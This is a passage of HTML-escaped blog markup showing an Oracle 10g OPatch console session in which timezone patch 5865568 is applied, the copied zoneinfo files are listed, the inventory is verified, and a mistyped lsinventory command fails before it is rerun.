/oracle/10g/oui&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Log file location : /oracle/10g/cfgtoollogs/opatch/opatch-2007_Mar_04_22-08-25-BRT_Sun.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ApplySession applying interim patch '5865568' to OH '/oracle/10g'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OPatch detected non-cluster Oracle Home from the inventory and will patch the local system only.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Please shutdown Oracle instances running out of this ORACLE_HOME on the local system.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(Oracle Home = '/oracle/10g')&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Is the local system ready for patching?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Do you want to proceed? [y|n]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;y&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;User Responded with: Y&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Backing up files and inventory (not for auto-rollback) for the Oracle Home&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Backing up files affected by the patch '5865568' for restore. This might take a while...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Backing up files affected by the patch '5865568' for rollback. This might take a while...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Patching component oracle.javavm.server, 10.2.0.2.0...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Africa/Cairo"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Africa/Tunis"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Indianapolis"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Knox"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Marengo"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Petersburg"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Vevay"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Indiana/Vincennes"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/North_Dakota/New_Salem"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Atikokan"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Blanc-Sablon"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Bogota"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Cambridge_Bay"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Campo_Grande"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Cuiaba"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Dawson"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Edmonton"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Glace_Bay"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Goose_Bay"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Guatemala"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Halifax"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Havana"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Inuvik"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Iqaluit"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Managua"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Miquelon"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Moncton"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Montevideo"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Montreal"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Nipigon"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Pangnirtung"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Port-au-Prince"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Rainy_River"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Rankin_Inlet"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Santiago"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Sao_Paulo"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Scoresbysund"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/St_Johns"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Tegucigalpa"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Thule"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Thunder_Bay"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Toronto"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Vancouver"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Whitehorse"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Winnipeg"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Yellowknife"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Antarctica/Palmer"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Amman"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Baku"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Choibalsan"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Colombo"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Damascus"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Gaza"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Hovd"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Riyadh87"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Riyadh88"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Riyadh89"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Samarkand"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Tashkent"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Tbilisi"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Tehran"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Ulaanbaatar"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Atlantic/Bermuda"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Australia/Perth"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/CST6CDT"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/EST"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/EST5EDT"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/HST"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/MST"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/MST7MDT"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/PST8PDT"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/ZoneInfoMappings"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Europe/Volgograd"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Europe/Warsaw"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Pacific/Easter"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/SystemV/AST4"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/SystemV/AST4ADT"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/SystemV/CST6"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/SystemV/CST6CDT"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/SystemV/EST5"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/SystemV/EST5EDT"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/SystemV/HST10"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/SystemV/MST7"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/SystemV/MST7MDT"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/SystemV/PST8"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/SystemV/PST8PDT"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/SystemV/YST9"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/SystemV/YST9YDT"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/admin/fixTZa.sql"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/admin/fixTZb.sql"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Adak"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Anchorage"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Araguaina"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Buenos_Aires"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Catamarca"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Cordoba"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Jujuy"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/La_Rioja"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Mendoza"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Rio_Gallegos"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/San_Juan"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Tucuman"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Argentina/Ushuaia"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Kentucky/Louisville"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Kentucky/Monticello"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/North_Dakota/Center"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Asuncion"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Bahia"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Boise"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Chicago"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Denver"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Detroit"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Fortaleza"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Juneau"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Lima"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Los_Angeles"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Maceio"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Menominee"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/New_York"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Nome"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Noronha"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Phoenix"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Recife"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Regina"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/America/Yakutat"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Antarctica/Rothera"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Almaty"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Aqtau"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Aqtobe"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Bishkek"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Jerusalem"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Karachi"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Kuala_Lumpur"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Kuching"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Oral"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Qyzylorda"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Singapore"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Asia/Tokyo"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Australia/Adelaide"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Australia/Broken_Hill"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Australia/Currie"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Australia/Hobart"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Australia/Lord_Howe"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Australia/Melbourne"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Australia/Sydney"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Europe/Berlin"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Europe/Lisbon"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Europe/Vienna"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Europe/Vilnius"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Indian/Chagos"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Pacific/Auckland"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Pacific/Chatham"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Pacific/Midway"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/javavm/lib/zi/Pacific/Tongatapu"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ApplySession adding interim patch '5865568' to inventory&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Verifying the update...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Inventory check OK: Patch ID 5865568 is registered in Oracle Home inventory with proper meta-data.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Files check OK: Files from Patch ID 5865568 are present in Oracle Home.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;The local system has been patched and can be restarted.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OPatch succeeded.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5865568]$ /oracle/10g/OPatch/opatch lsinvestory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Invoking OPatch 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle interim Patch Installer version 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 2005, Oracle Corporation.  All rights reserved..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Syntax Error... Unrecognized Command or Option: 1st argument must be one of the following:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   apply&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   rollback&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   lsinventory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   lsinv&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   query&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   util&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   prereq&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   version&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   -help&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   -h&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Please use the option 'opatch -help' to get correct syntax&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OPatch failed with error code 14&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5865568]$ /oracle/10g/OPatch/opatch lsinventory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Invoking OPatch 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle interim Patch Installer version 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 2005, Oracle Corporation.  All rights reserved..&lt;/span&gt;&lt;br /&gt;&lt;br 